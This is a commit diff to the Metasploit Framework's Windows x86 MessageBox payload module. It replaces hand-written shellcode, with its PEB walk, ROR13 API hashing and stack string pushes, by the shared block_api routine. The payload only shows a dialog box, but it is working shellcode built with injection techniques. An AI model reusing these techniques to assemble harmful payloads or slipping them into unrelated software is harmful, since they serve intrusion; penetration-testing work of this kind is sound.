Skip to content

Commit 4d19535

Browse files
committed
fix(payloads): removing hardcoded block-api asm and hashes from x86 messagebox module
1 parent acb022c commit 4d19535

File tree

1 file changed

+70
-256
lines changed

1 file changed

+70
-256
lines changed

modules/payloads/singles/windows/messagebox.rb

Lines changed: 70 additions & 256 deletions
Original file line numberDiff line numberDiff line change
@@ -4,288 +4,102 @@
44
##
55

66
module MetasploitModule
7-
8-
CachedSize = 272
7+
CachedSize = 231
98

109
include Msf::Payload::Windows
1110
include Msf::Payload::Single
11+
include Msf::Payload::Windows::BlockApi
1212

1313
def initialize(info = {})
14-
super(merge_info(info,
15-
'Name' => 'Windows MessageBox',
16-
'Description' => 'Spawns a dialog via MessageBox using a customizable title, text & icon',
17-
'Author' =>
18-
[
14+
super(
15+
merge_info(
16+
info,
17+
'Name' => 'Windows MessageBox',
18+
'Description' => 'Spawns a dialog via MessageBox using a customizable title, text & icon',
19+
'Author' => [
1920
'corelanc0d3r <peter.ve[at]corelan.be>', # original payload module
20-
'jduck' # some ruby factoring
21+
'jduck' # some ruby factoring
2122
],
22-
'License' => MSF_LICENSE,
23-
'Platform' => 'win',
24-
'Arch' => ARCH_X86
25-
))
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'win',
25+
'Arch' => ARCH_X86
26+
)
27+
)
2628

2729
# Register MessageBox options
2830
register_options(
2931
[
30-
OptString.new('TITLE', [ true, "Messagebox Title (max 255 chars)", "MessageBox" ], max_length: 255),
31-
OptString.new('TEXT', [ true, "Messagebox Text (max 255 chars)", "Hello, from MSF!" ], max_length: 255),
32-
OptString.new('ICON', [ true, "Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION", "NO" ])
33-
])
32+
OptString.new('TITLE', [ true, 'Messagebox Title (max 255 chars)', 'MessageBox' ], max_length: 255),
33+
OptString.new('TEXT', [ true, 'Messagebox Text (max 255 chars)', 'Hello, from MSF!' ], max_length: 255),
34+
OptString.new('ICON', [ true, 'Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION', 'NO' ])
35+
]
36+
)
3437
end
3538

3639
#
3740
# Construct the payload
3841
#
3942
def generate(_opts = {})
40-
41-
strTitle = datastore['TITLE'] + "X"
42-
if (strTitle.length < 1)
43-
raise ArgumentError, "You must specify a title"
44-
end
45-
46-
strText = datastore['TEXT'] + "X"
47-
if (strText.length < 1)
48-
raise ArgumentError, "You must specify the text of the MessageBox"
49-
end
50-
51-
# exitfunc process or thread ?
52-
stackspace = "0x04"
53-
funchash = ""
54-
doexitseh = ""
55-
case datastore['EXITFUNC'].upcase.strip
56-
when 'PROCESS'
57-
stackspace = "0x08"
58-
funchash = "0x73E2D87E"
59-
when 'THREAD'
60-
stackspace = "0x08"
61-
funchash = "0x60E0CEEF"
62-
end
63-
64-
# create exit routine for process / thread
65-
getexitfunc = <<EOS
66-
;base address of kernel32 will be at esp,
67-
mov ebx,#{funchash}
68-
xchg ebx, dword [esp]
69-
push edx
70-
call find_function
71-
;store function address at ebx+08
72-
mov [ebp+0x8],eax
73-
EOS
74-
75-
doexit = <<EOS
76-
xor eax,eax ;zero out eax
77-
push eax ;put 0 on stack
78-
call [ebp+8] ;ExitProcess/Thread(0)
79-
EOS
80-
81-
# if exit is set to seh or none, overrule
82-
if datastore['EXITFUNC'].upcase.strip == "SEH"
83-
# routine to exit via exception
84-
doexit = <<EOS
85-
xor eax,eax
86-
call eax
87-
EOS
88-
getexitfunc = ''
89-
elsif datastore['EXITFUNC'].upcase.strip == "NONE"
90-
doexit = <<-EOS
91-
nop
92-
EOS
93-
getexitfunc = ''
94-
end
95-
96-
# Generate code to get ptr to Title
97-
marker_idx = strTitle.length - 1
98-
strPushTitle = string_to_pushes(strTitle, marker_idx)
99-
# generate code to write null byte
100-
strWriteTitleNull = "xor ebx,ebx\n\tmov [esp+0x#{marker_idx.to_s(16)}],bl\n\tmov ebx,esp\n\t"
101-
102-
#================Process Text===============================
103-
marker_idx = strText.length - 1
104-
strPushText = string_to_pushes(strText, marker_idx)
105-
strWriteTextNull = "xor ecx,ecx\n\tmov [esp+0x#{marker_idx.to_s(16)}],cl\n\tmov ecx,esp\n\t"
106-
107-
# generate code to set messagebox icon
108-
setstyle = "push edx\n\t"
43+
style = 0x00
10944
case datastore['ICON'].upcase.strip
110-
#default = NO
45+
# default = NO
11146
when 'ERROR'
112-
setstyle = "push 0x10\n\t"
47+
style = 0x10
11348
when 'QUESTION'
114-
setstyle = "push 0x20\n\t"
49+
style = 0x20
11550
when 'WARNING'
116-
setstyle = "push 0x30\n\t"
51+
style = 0x30
11752
when 'INFORMATION'
118-
setstyle = "push 0x40\n\t"
53+
style = 0x40
11954
end
12055

121-
#create actual payload
122-
payload_data = <<EOS
123-
;getpc routine
124-
fldpi
125-
fstenv [esp-0xc]
126-
xor edx,edx
127-
mov dl,0x77 ;offset to start_main
128-
129-
;get kernel32
130-
xor ecx,ecx
131-
mov esi, [fs:ecx + 0x30]
132-
mov esi, [esi + 0x0C]
133-
mov esi, [esi + 0x1C]
134-
next_module:
135-
mov eax, [esi + 0x08]
136-
mov edi, [esi + 0x20]
137-
mov esi, [esi]
138-
cmp [edi + 12*2], cl
139-
jne next_module
140-
141-
pop ecx
142-
add ecx,edx
143-
jmp ecx ;jmp start_main
144-
145-
find_function:
146-
pushad ;save all registers
147-
mov ebp, [esp + 0x24] ;put base address of module that is being loaded in ebp
148-
mov eax, [ebp + 0x3c] ;skip over MSDOS header
149-
mov edx, [ebp + eax + 0x78] ;go to export table and put relative address in edx
150-
add edx, ebp ;add base address to it.
151-
;edx = absolute address of export table
152-
mov ecx, [edx + 0x18] ;set up counter ECX
153-
;(how many exported items are in array ?)
154-
mov ebx, [edx + 0x20] ;put names table relative offset in ebx
155-
add ebx, ebp ;add base address to it.
156-
;ebx = absolute address of names table
157-
158-
find_function_loop:
159-
jecxz find_function_finished ;if ecx=0, then last symbol has been checked.
160-
;(should never happen)
161-
;unless function could not be found
162-
dec ecx ;ecx=ecx-1
163-
mov esi, [ebx + ecx * 4] ;get relative offset of the name associated
164-
;with the current symbol
165-
;and store offset in esi
166-
add esi, ebp ;add base address.
167-
;esi = absolute address of current symbol
168-
169-
compute_hash:
170-
xor edi, edi ;zero out edi
171-
xor eax, eax ;zero out eax
172-
cld ;clear direction flag.
173-
;will make sure that it increments instead of
174-
;decrements when using lods*
175-
176-
compute_hash_again:
177-
lodsb ;load bytes at esi (current symbol name)
178-
;into al, + increment esi
179-
test al, al ;bitwise test :
180-
;see if end of string has been reached
181-
jz compute_hash_finished ;if zero flag is set = end of string reached
182-
ror edi, 0xd ;if zero flag is not set, rotate current
183-
;value of hash 13 bits to the right
184-
add edi, eax ;add current character of symbol name
185-
;to hash accumulator
186-
jmp compute_hash_again ;continue loop
187-
188-
compute_hash_finished:
189-
190-
find_function_compare:
191-
cmp edi, [esp + 0x28] ;see if computed hash matches requested hash
192-
; (at esp+0x28)
193-
;edi = current computed hash
194-
;esi = current function name (string)
195-
jnz find_function_loop ;no match, go to next symbol
196-
mov ebx, [edx + 0x24] ;if match : extract ordinals table
197-
;relative offset and put in ebx
198-
add ebx, ebp ;add base address.
199-
;ebx = absolute address of ordinals address table
200-
mov cx, [ebx + 2 * ecx] ;get current symbol ordinal number (2 bytes)
201-
mov ebx, [edx + 0x1c] ;get address table relative and put in ebx
202-
add ebx, ebp ;add base address.
203-
;ebx = absolute address of address table
204-
mov eax, [ebx + 4 * ecx] ;get relative function offset from its ordinal
205-
;and put in eax
206-
add eax, ebp ;add base address.
207-
;eax = absolute address of function address
208-
mov [esp + 0x1c], eax ;overwrite stack copy of eax so popad
209-
;will return function address in eax
210-
find_function_finished:
211-
popad ;restore original registers.
212-
;eax will contain function address
213-
ret
214-
215-
start_main:
216-
mov dl,#{stackspace}
217-
sub esp,edx ;allocate space on stack
218-
mov ebp,esp ;set ebp as frame ptr for relative offset
219-
mov edx,eax ;save base address of kernel32 in edx
220-
221-
push 0xEC0E4E8E ;get LoadLibrary function ptr
222-
push edx
223-
call find_function
224-
;put function address on stack (ebx+04)
225-
mov [ebp+0x4],eax
226-
#{getexitfunc} ;optionally get selected exit function ptr
227-
228-
;put pointer to string user32.dll to stack
229-
push 0x41206c6c
230-
push 0x642e3233
231-
push 0x72657375 ;user32.dll
232-
xor bl,bl ;make sure we have a null byte
233-
mov [esp+0xA],bl ;null byte
234-
mov esi,esp ;put pointer to string on top of stack
235-
push esi
236-
call [ebp+0x4] ;call LoadLibrary
237-
; base address of user32.dll is now in eax (if loaded correctly)
238-
mov edx,eax ;put ptr in edx
239-
push eax ;put it on stack as well
240-
;find the MessageBoxA function
241-
mov ebx, 0xBC4DA2A8
242-
xchg ebx, dword [esp] ;esp = base address of user32.dll
243-
push edx
244-
call find_function
245-
;function address should be in eax now
246-
;we'll keep it there
247-
;get pointer to title
248-
#{strPushTitle}
249-
#{strWriteTitleNull} ;ebx will point to title
250-
;get pointer to text
251-
#{strPushText}
252-
#{strWriteTextNull} ;ecx will point to text
253-
254-
;now push parameters to the stack
255-
xor edx,edx ;zero out edx
256-
#{setstyle} ;set button/iconstyle on stack
257-
push ebx ;put pointer to Title on stack
258-
push ecx ;put pointer to Text on stack
259-
push edx ;put 0 on stack (hWnd)
260-
call eax ;call MessageBoxA(hWnd,Text,Title,Style)
56+
exitfunc_asm = %(
57+
push 0
58+
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
59+
call ebp
60+
)
61+
if datastore['EXITFUNC'].upcase.strip == 'THREAD'
62+
exitfunc_asm = %(
63+
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')}
64+
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')}
65+
call ebp
66+
add esp,0x28
67+
cmp al,0x6
68+
jl use_exitthread ; is older than Vista or Server 2003 R2?
69+
cmp bl,0xe0 ; check if GetVersion change the hash stored in EBX
70+
jne use_exitthread
71+
mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')}
72+
use_exitthread:
73+
push 0
74+
push ebx
75+
call ebp
76+
)
77+
end
26178

262-
;EXITFUNC
263-
#{doexit}
264-
EOS
79+
payload_data = %(
80+
cld
81+
call start
82+
#{asm_block_api}
83+
start:
84+
pop ebp
85+
call get_user32
86+
db "user32.dll", 0x00
87+
get_user32:
88+
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
89+
call ebp
90+
push #{style}
91+
call get_title
92+
db "#{datastore['TITLE']}", 0x00
93+
get_title:
94+
call get_text
95+
db "#{datastore['TEXT']}", 0x00
96+
get_text:
97+
push 0
98+
push #{Rex::Text.block_api_hash('user32.dll', 'MessageBoxA')}
99+
call ebp
100+
#{exitfunc_asm}
101+
)
265102
self.assembly = payload_data
266103
super
267104
end
268-
269-
#
270-
# Turn the provided string into a serious of pushes
271-
#
272-
def string_to_pushes(str, marker_idx)
273-
# Align string to 4 bytes
274-
rem = (marker_idx+1) % 4
275-
if (rem > 0)
276-
str << " " * (4 - rem)
277-
end
278-
279-
# string is now 4 byte aligned and ends with 'X' at index 'marker_idx'
280-
281-
# push string to stack, starting at the back
282-
pushes = ''
283-
while (str.length > 0)
284-
four = str.slice!(-4, 4)
285-
dw = four.unpack('V').first
286-
pushes << "push 0x%x\n\t" % dw
287-
end
288-
289-
pushes
290-
end
291105
end

0 commit comments

Comments
 (0)